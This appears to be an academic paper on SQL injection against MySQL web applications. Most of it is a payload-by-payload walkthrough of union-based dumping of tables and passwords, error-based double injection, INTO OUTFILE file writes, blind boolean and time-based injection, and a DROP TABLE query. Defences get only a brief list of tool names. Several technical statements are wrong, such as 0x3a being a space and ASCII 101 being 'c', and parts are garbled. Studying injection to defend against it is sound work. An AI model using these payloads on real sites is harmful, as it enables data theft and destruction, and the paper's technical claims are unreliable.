Understanding query vulnerabilities for various SQL Injection techniques

U.Chandrasekhar * and Digvijay Singh **

School of Information Technology and Engineering - SITE,
VIT Universtiy, Vellore

Abstract. SQL Injections pose lot of risk to ecommerce sites as well as web pages that are database driven. There are various kinds of SQL injections. For each type there are different ways of interpreting the errors and cracking the query for exploiting the website. This paper discusses how to understand the errors for each type of injection. This will help us find exhaustive solutions to every kind of injection strategy. This paper also suggests few remedies to defend and prevent such attacks.

Key words: SQL Injection, Web security, Injection errors, Blind injection.

1 Introduction

SQL Injections are web attacks used by hackers, where in they alter the structure of the SQL query[3,5] in the web URL and gain unauthorized access to the back end database. We are depending on internet for our daily needs like E-Commerce, E-Learning, social networking and online billing etc. Huge amount of confidential data is present in databases of various websites, including our login details. Hence the need to build a secure web application is of utmost importance for any developer. Information security deals with Confidentiality, availability, Integrity of stored data.

The details we enter through the website, form part of the SQL query[7] used to modify the back end details. This query is visible to end users in GET method[5] of passing information from front end to back end. An attacker studies and understands the behaviour of the SQL query by looking at various errors the web page may throw, through experimentation. With such an understanding, he is able to modify the query in URL to gain unauthorized access to back end data tables. This is known as SQL Injection Attacks (SQLIAS)[6,8,10]. Such attacks are possible due to design flaws in the web applications. The damage can range from small scale to complete system failure. With little care and foresight, these attacks can be prevented or defended.

Sql attacks occur between Presentation layer and CGI layer[1]. According to the ANSI SQL standard, the SQL elements can be divided into following categories [2]:

* u.chandrasekhar@vit.ac.in
** sdigvijay29@gmail.com

- Blank space: Includes space characters, tabs, carriage returns, line feeds, etc.
- Comments: Single-line comment, lead by comment symbol "–.
- Multiple-line comment, cited by a pair of comment symbol "/*" and "*/".
- Key words: Such as "SELECT", "INSERT", "GRANT", etc.
- Punctuations: Used to separate SQL queries, also used in some mathematical operations, like "=", "(", ";", etc.
- Identifier: Used to specify database name, variable name, etc.
- Data: Includes all kinds of data used in SQL standard queries such as strings, integers, numbers, dates, etc.

2 VARIOUS KINDS OF SQL INJECTIONS

TSQLIAS are carried out in following five steps[8,10].

- Enumerate the application behaviours.
- Fuzz the application with bogus data with the goal of crashing the application.
- Try to control the injection point by guessing the query used in the backend.
- Extract the data or schema information from the back end database.
- Manipulate the data or schema to hackers need.

The paper shows how the following SQL Injection[7] errors are handled when GET method[6,8] of submission is used

1. Error based - single quotes
2. Error based - integer based
3. Error based - single quotes with twist - string
4. Error based - Double quotes - string
5. Double injection - single quotes - string
6. Dump into outfile - string
7. Double injection - Double quotes - string
8. Blind - Boolean Based - single quotes
9. Blind - Time based - Single quotes
10. Blind - Time based - Double quotes

3 ERROR BASED

Following steps should be followed to handle First four kinds of above said errors. i.e. Errors based on quotes.

3.1 Enumeration

To check the behaviour of webpage, we shall add some constraint as input or alter that constraint. In the below example the constraint shall be ?id = numerical value / alphabet / alphanumeric value / special symbol with integers or characters as given in the example below.

www.myurl.com/?id=1 (integer as input)
www.myurl.com/?id=hello (character as input)
www.myurl.com/?id=111111111 (long integer as input)
www.myurl.com/?id=hello123 (alphanumeric as input)

If we get same or some other webpage as output, by altering the input value , we shall check for more values till that the page shall not show any output as content of page.If it shows only blank screen or no output on the screen it means that the page has those many entries, Lets take an example:

www.myurl.com/?id=1 (shows output on screen)
www.myurl.com/?id=8 (shows output on screen)
www.myurl.com/?id=9 (shows no output on screen)

The above output shows that the data base has 8 columns. For the above URL input, the back end query[3,9] would be something as follows.

select login_name, password from table where id = < 1-to-8>

Result of Enumeration: The database seems to have 8 columns in the table.

3.2 Fuzzing

Now we check for special symbols[4,9] with integer, character or alphanumeric values. Here the example is shown only for integer with special symbol.

www.myurl.com/?id=1'
www.myurl.com/?id=1
www.myurl.com/?id=1"

For each input[4,5], will may get different outputs or some error messages. We shall see how to understand the error to proceed further.
www.myurl.com/?id=1'
It may throw an error as follows,

You have an error in your syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1 at line 1

If we carefully observe the double quotes, using a notepad, we will find that they are actually single quotes. It is something like this (' '1' '). Which implies the id value is expected to be between two single quotes.
Ex id=3. www.myurl.com/?id=1
It may throw an error as follows,
You have an error in your syntax; check the manual that corresponds to your

MySQL server for the right syntax to use near "1Ĺimit 0, 1.
If we carefully observe after neglecting the 1st quote, then the remaining error is something like 1 '.The above test confirms the previous findings. So the back end query would be as follows.

select login_name, password from table where id ='<id_value>'

Similarly if the error is like "you have an error in your syntax; check the manual that corresponds to your MySQL server for the right syntax to use near "1") limit 0,1" For above error the backend query[7,9] will be something like as follows.

select login_name, password from table where id= ('<value>')

Result of Fuzzing: We understood what special characters are associated with the query ID.

3.3 Commenting Out Query

We need to comment out the remaining part (Unnecessary part of the query) to inject our own query. We may need to balance the query with a Boolean operator like AND / OR.
The comment can be in the form of –[11], , /* */ . MySQL uses only these 3 symbols.Since we are interacting with web front end, we cannot directly use comment .We need to provide space after –[11] . For web URL the space in the form of + symbol. Space character is also encoded as '%20'and for it is '%23'[6,8].
Ex: www.myurl.com/?id=1'–%20

Every thing on the left side of comment is treated as SQL code and not as parameter value.We can inject our own code before the comments using various methods like piggy backing etc.,
Tests are done with the URL *www.myurl.com/?id=1'–+*

Output of above URL gives no error.
We shall now check using balancing operator like AND or OR operator.

Ex: www.myurl.com/?id=1' AND 1=1–+

Since the condition 1=1 is true (tautology)[6,9], the query fires successfully and returns no error. In case the operator returns false, then the query will now fire.

Ex: www.myurl.com/?id=1' AND 1=0–+

Since condition is not true it will not fire the URL and does not show any new web content.

Extraction of Data Columns: The next task is to find out the total number of columns in the backend database that has data in them. We use "order by" clause to fetch the last column having data in it, because it is possible to order the rows only when they are not NULL.
We run following queries to figure this out.

www.myurl.com/?id=1' order by 1–+ (no error)
www.myurl.com/?id=1' order by 6–+ (no error)
www.myurl.com/?id=1' order by 7–+ (errors out)

Piggy Backing: The next job is to inject an SQL query using piggy backing technique[1,6,8]. We can find the contents of the Data base using UNION SELECT clause along with the previous query.

Ex: www.myurl.com/?id=1' union select 1,2,3,4,5,6–+

a.) The above query may not execute to give the results of vulnerable columns. Vulnerable columns in the Data base schema are the ones which have the information about Table schema. Hence we use FICTIOUS values (8888, very large values etc), are used for id to make the web page display the vulnerable columns.

Ex: www.myurl.com/?id=8888 union select 1,2,3,4,5,6–+

The output of above query may be 2 and 3 , shown some where on the web page.

Hence we try to find what exists in the 2nd and 3rd columns.

b.) After getting the most vulnerable position of column we will replace that numeric value with a function such as version(), database(), user(), @@datadir (for path of data) etc, to get the more information of the database.

Ex: www.myurl.com/?id=-1' union select 1, version(),3,4,5,6–+ (Gives version of database)

c.) After getting the vulnerable column positions we have to apply as many as functions as possible on that position so that we will get much more information about the backend database. This backend database table which gives all the above information is called "information schema". It contains all the table names present inside the database schema.

Ex: www.myurl.com/?id=-1'union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=database()–+

d.) We may use database functions to get the table names from database.

Ex: www.myurl.com/?id=-1' union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=database() Limit 3,1–+

Ex: www.myurl.com/?id=-1' union select 1,table_name,3,45,6 from information_schema.tables where table_schema = database() Limit 4,1–+

To get all the database table names at once, we could use the "group_concat()" function which will dump the whole database on to the web page.

Ex: www.myurl.com/?id=-1' union select 1,2,3,group_concat(table_name), 5,6 from information_schema.tables where table_schema="database()"

e.) Once we find the table names, our next goal is to find the entries in that column. We use a query of following kind to know that.

Ex: www.myurl.com/?id=-1' union select 1, 2, 3, group_concat(column_name), 5, 6 from information_schema.columnswhere table_name = 'table_name¿'–+

Sample output could be as follows: Product_id, Product name, price etc. (Column names of the table)

f.) Our next goal could be to view the data present in the above discovered columns. Use sample query injections as follows to know the details present in the columns (say user_id and password columns of some users table).

Ex: www.myurl.com/?id=-1' union select 1,2,3, group_concat(user_id), group_concat(password) from users–+

The above query may concatenate the results of all the columns data. So we may use below show alternate query to separate the entries by a space(ox3a).

Ex: www.myurl.com/?id=-1' union select 1,2,3, group_concat(user_id,ox3a,password), 5,6 from users–+

g.) Using the above discussed piggy backing steps, we may view, alter or even destroy (drop), tables, table columns or data. Here we insert malicious query into normal query using ; operator after each query. So once the data is dumped the next query (malicious injection[7] gets executed) as follows.

Ex: www.myurl.com/?id=-1' union select 1,2,3, 4,5,6 from users; Drop table users;–+

The above query drops the users table.

Interpreting the query without commenting: In the previous section we saw how to interpret a query with commenting (- - +)[8]. We can achieve the same results using either 'AND' or 'OR' operator.

Ex: www.myurl.com/?id=1' OR '1

Ex: www.myurl.com/?id=1' AND '1

We cannot use ORDER BY clause with the above combination. We have to use brute force attack using UNION SELECT.

Ex: www.myurl.com/?id=1' union select 1,2,3 AND '1

It matches the column position using the Boolean function 'AND' with corresponding value 1. If any one value of the column matches with the all possible value of column, it will display the most vulnerable column position. Lets say the vulnerable position be 3. We replace that position with any sql functions and get the back end data or table's information.

Ex: www.myurl.com/?id=1' union select 1,2,database() AND '1

Now if we try to retrieve table name using the discussed method, it may sometimes error out as follows.

Ex: www.myurl.com/?id=1' union 1,2,table_name from information_schema.tables AND '1

You have an error in MySQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND 1='1' LIMIT 1,1

The above problem can occur in case the URL is a nested query (sub query). FROM clause is not able to dump the database.

We have to work on such queries using 'Double injection' or 'Blind injection'[7,8] methods to proceed further.

3.4 DOUBLE INJECTION

We shall see how to handle errors during sub query injection also known as Double Injection. We go for double injection when the single injection fails to deliver relevant outputs. This happens when the URL is posting nested queries or sub queries.

Ex: www.myurl.com/?id=1 (returns static message on page or different Web-Pages)

In the previous sections when we enumerated the query as given above, we got some information from the database. However if we get some static message or different WebPages, then most probablythey require double injection to dump the data. Follow the below steps to understand the query structure.

1. Try to break the query with some special character like ' " etc.

Ex: www.myurl.com/?id=1'

It may display an error message like You have an error in your syntax; check the manual that corresponds to your MySQL server for the right syntax to use near "1" limit 0,1

This is the single quote type error message and we already interpreted this error in previous methods.

Ex: www.myurl.com/?id=2' or '1

Ex: www.myurl.com/?id=3' or '1 *Ex: www.myurl.com/?id=1' or '1 (or by commenting out the query)*

Ex: www.myurl.com/?id=2' or '1

Ex: www.myurl.com/?id=3' or '1

The back end query may be of the form as follows. select col1,col2,col3 from the table where id= ' 1' or ' 1 '

If we are able to produce MySQL error in a controlled manner and work on that error, we can get the required information from the database.

Working with MySQL nested queries *We shall see how the following MySQL sub queries work to understand Double Injection process.*

i.) select database(); –Returns the name of database.

ii.) select(select database()); – Returns the same result

iii.) select concat(0x3a,0x3a,(select database()),0x3a,0x3a);

–0x3a[8]use for space. Concat function is used to concatenate the results of sub queries.

*iv.) select concat(0x3a,0x3a,(select database()), 0x3a, 0x3a, floor(rand()*2))hello;*

Possible o/p: hello 1 / hello 0

–rand() function is used for adding some randomness to dumping the database with in multiples of 2. It will produce random values in '1' or '0' form with database name.

With above understanding, we prepare our manipulation query as follows to obtain the column names or table names.

*v.) select concat(0x3a,0x3a,(select database()), 0x3a, 0x3a,floor(rand()*2))hello from information_schema.columns;*

Output of above query could be any random values like. user, product, price etc.

*vi.) select count(*),concat(0x3a,0x3a,(select database()), 0x3a,0x3a,floor(rand()*2))hello from information_schema.tables group by hello;*

Using group by clause will tell about the total number of '1' or 0. This count will tell us information about the total number of entries in the. After repeated firing of the query, we get an error like.

'Duplicate entry <original data base name> with '1'or'0" for key 'group key

using the above technique, we figured out original data base name by forcing such an error. Before the error was produced, it was using hello for data base name.

Similarly the same technique can be used to get the version information or any other information about the data base.

*Ex: select count(*) concat(0x3a,0x3a,(select version()), 0x3a, 0x3a, floor(rand()*2))hello from information_schema.columns group by hello;*

– gives version info in error message

*Ex: select count(*) concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema =database() limit 1,1), 0x3a,0x3a,floor(rand()*2))hello from information_schema.columns group by hello;*

– gives table name info in error message

Use the technique to find column names also as follows.

*Ex: select count(*) concat(0x3a,0x3a,(select table_name from information_schema.columns where table_name='name of table'),0x3a,0x3a,floor(rand()*2))hello from information_schema.columns group by hello;*

Sample out put error for above query could be as follows.

– some error message and all column entries.

Double Injection Examples:

After understanding how MySQL queries can be modified to acquire the required fields, we use Double Injection on Web URL and interpret different errors as follows.

*1. www.myurl.com/?id=1' AND (select count(*), concat(0x3a,0x3a,(select database()), 0x3a, 0x3a, floor(rand()*2)) hello from information_schema.tables group by hello)–+*

ERROR: operands should contain 1 column(s)

REASON: AND clause is expecting only one input but here the count(*) is one column and the concat is also another column so it is producing the above error ,so that for fix this error by using the 'select' statement with braces i.e.

*2. www.myurl.com/?id=1' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select database()), 0x3a, 0x3a, floor(rand()*2))hello from information_schema.tables group by hello))–+*

ERROR: Every derived table must have its own alias

REASON: In the above query the derived part is started from the inner 'select' statement so it will produce an error related to table name (alias). It means that the derived table should have some name because the statement 'select 1 from' is having one alias but inner select queries does not have any alias derived table. To fix this error we will give the alias(Ex. world) .

*3. www.myurl.com/?id=1' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select database()), 0x3a, 0x3a, floor(rand()*2))hello from information_schema.tables group by hello)world)–+*

ERROR: sub query returns more then 1 row

If we refresh the web page with above query the error message will change or it will display some information about.

Use the above query to find the information like, $current_user, version, columnnames etc.$

3.5 DUMP INTO OUTFILE

The aim of this attack is to export the data base schema details and also data into an external out file like Excel sheet, notepad etc. We repeat all the steps discussed previously i.e Enumerate, fuzzify, commenting etc, until we get a reasonable error.

Ex: www.myurl.com/?id=1' –+

Error: You have an error in your sql syntax

We fix the above error using previously discussed methods. Then use order by clause to find number of columns. Next use Union select clause to find the vulnerable column. Finally use 'outfile' function to get the most vulnerable file.

Ex: www.myurl.com/?id=1')) union select 1,2,3 into outfile "/var/www/file name" –+.

/var/www/filename is the path which is by default used for all kinds of file in the server backend.

If there are further subfolders, we need to figure out the folder names with some background knowledge about server file paths. This needs some trial and error. If we do not get the vulnerable column position using above methods, we use following techniques.

Ex: www.myurl.com/?id=1')) union select 1, database(), version() into outfile "/var/www/file name" –+

In place of database(),or version we can use more functions to investigate other columns.

We can use below two types of queries to dump the data.

i.) www.myurl.com/?id=1')) union select 1,table_name,3 from information_schema.tables where table_schema=database() into outfile "/var/www/file name"–+

ii.) www.myurl.com/?id=1')) union select 1,table_name,3 from information_schema.table into outfile "/var/www/file name" –+

3.6 BLIND SQL INJECTION

Blind SQL Injection can be Boolean based, Time based[7,8] and using Double Quotes. This type of attack queries the data base and finds the answers based on the response. We use Blind Injection in web applications which are configured to display generic messages to patch up the SQL injection vulnerabilities.
In Boolean based injection techniques, the attacker checks if the same web page is returned for true Id values and false Id values.Time based injections are needed in cases where the web page pauses for a specified amount of time to return the results. Attacker specifies different time lag for each kind of experiment, to figure out the parameter values.
First Enumerate the URL to figure out if the web page is vulnerable for Boolean based Blind Injection or time based.

3.7 Boolean Based

We conduct following tests.

i.)www.myurl.com/?id=1' (no output)

We fix the above query to test further

ii.) www. myurl.com/?id=1'–+ (assume this gives output)

iii.) www.myurl.com/?id=1' AND 1 –+
(We cross check using Boolean operator like AND or OR)

iv.) www.myurl.com/?id=1' AND 1<2–+

The above condition is true so it gives some output or display the web page

v.) www.myurl.com/?id=1' AND 1>2–+

The above condition is false, so it does not give output

In above queries we could use range operators (< , <=, >, >= etc) , instead of Boolean(= and !=). This will give the truth value/false value of the parameter in for a range of values. This will allow us to verify the parameter values in steps, and there by save time.
In blind injection we directly cant get the version_name, column or user of the database. So we make some trials with some sql functions like length, substr etc. "substr()" function contains 3 parameters. 1st character and last character or any string(we use function here).

Ex: select substr(database(),1,1);

We perform injection using function called "ASCII()"[7,8] which converts numbers to character(in case the parameters are encoded). Following are sample queries.

i.) select ascii(substr(database(),1,1))=101; (here the ASCII value of 101 in character will be "c")

ii.) select ascii(substr((select database()),1,1))=101;

iii.) select ascii(substr((select version()),1,1))=5; (advanced version is 5 or previous version also)

The database name must be starting with "c". For other characters and for full name of database we will change the position of 1st and last. The above is the basic or core idea about the blind injection. Following are Blind Injections

i.) www.myurl.com/?id=1' AND (ascii(substr((select database()),1,1))=101–+

ii.) www.myurl.com/?id=1' AND (ascii(substr((select version()),1,1))=101–+

iii.) www.myurl.com/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+

This is a very tedious process to find the details of the back end data base.

3.8 Time Based

1. *Enumerate the URL query.*

2. *Below example show there is no change with large Id value*

   Ex: www.myurl.com/?id=100000000000': (no changes on the webpage)

3. *To gather more information we will use the Boolean blind injection with time frame for true or false. Blind injection doesnt have liberty, so we need make assumption like Boolean method, to figure out the data base values.*

   Ex: select if((select database())="name of database", sleep(10),null);

4. *Above query tells the condition is true if it will delay for 10 min or webpage will take time to load the entire page. If it false then it will not take time to load the page. Following are the injection steps.*

   i.) www.myurl.com/?id=1' –+ (we assume to break the query and fix that query)

   ii.) www.myurl.com/?id=1' and sleep(10) –+
   (If the page will take time to load the content of the page then we can say that query works successfully else it is not working .)

   iii.) www.myurl.com/?id=1' and if((select database())="name of database", sleep(10),null)–+

   As discussed previously, In place of database we can use more function such as 'version()','username()' etc.

4 CONCLUSIONS

In the paper we have discussed in detail, various errors that may occur for various kinds of SQL injection techniques. We have also shown how to manipulate the errors to our needs and inject the Web URL queries. Various prevention algorithms[1,4,10] like AMNESIA[11], ANDID, DIWeDa, SQLrand, SQLCHECK, SQL DOM, SQLGuard, SQL-IDS, SQLIPA[11], WebSSARI and many other latest ones have been proposed to check and prevent SQL Injections. It is possible to improve upon protective algorithms, when we completely understand the vulnerabilities. This paper is an attempt in that direction. Future work will be done for other previously unknown vulnerabilities in stored procedures, XSS, Meta exploits etc.

References

[1]Inyong Lee,Soonki Jeong,Sangsoo Yeo,Jongsub Moon "A novel method for SQL injection attack detection based on removing SQl query attribute values" ser Elsevier Ltd.All right reserved 55(2012)58-68.

[2]Haiyan Wu ,Guozhu Gao Chunyu miao "Test SQL Injection Vulnerabilities in Web Applications Based on Structure Matching" 978-1-4577-1587-7/11/ 2011 IEEE.

[3]Rahul Johari and Pankaj Sharma "Asurvey On Web Application Vulnerabilities(SQLIA,XSS) Exploitation And Security Engine for SQL Injection" 978-0-7695-4692-6/12 2012 IEEE .

[4]Baohua Huang,Tongyi Xie,Yan Ma "Anti SQL injection With Statements Sequence Digest" 978-1-4577-1964-6/12 2012 IEEE.

[5]Gao Jiao ,Chang-Ming Xu,JING Maohua "SQLIMW:a new Mechanism against SQL-injection" 978-0-7695-4719-0/12 2012 IEEE

[6]D Ratna Giri,S Preveen Kumar,DR.L Prasanna Kumar,R N V Vishnu Murthy "Object Oriented Approach To SQL Injection Preventer" ICCCNT'12

[7]Abhishek Kumar Baranwal EECE 571B,Term Survey Paper

[8]William G.J. Halfond,JeremyViegas,and Alessandro Orso " A Classification of SQL injection Attacks and Countermeasures" 2006 IEEE

[9]Nikita Patel,Fahim Mohammed,Santosh Soni "SQL injection Attacks:Techniques and Protection Mechanisms" Vol.3NO.1 Jan 2011 IJCSE

[10]Neha Singh,Ravinder Kumar Purwar "SQL Injection-A Hazard to Web Application" volume 2 issue 6 june 2012.

[11]Eidah AL-Khashab,Fawaz S. Al-anzi,Ayed A.salman "PSIAQOP:Preventing SQL Injection Attacks based on Query Optimization process" 2011 ACM 978-1-4503-0793-2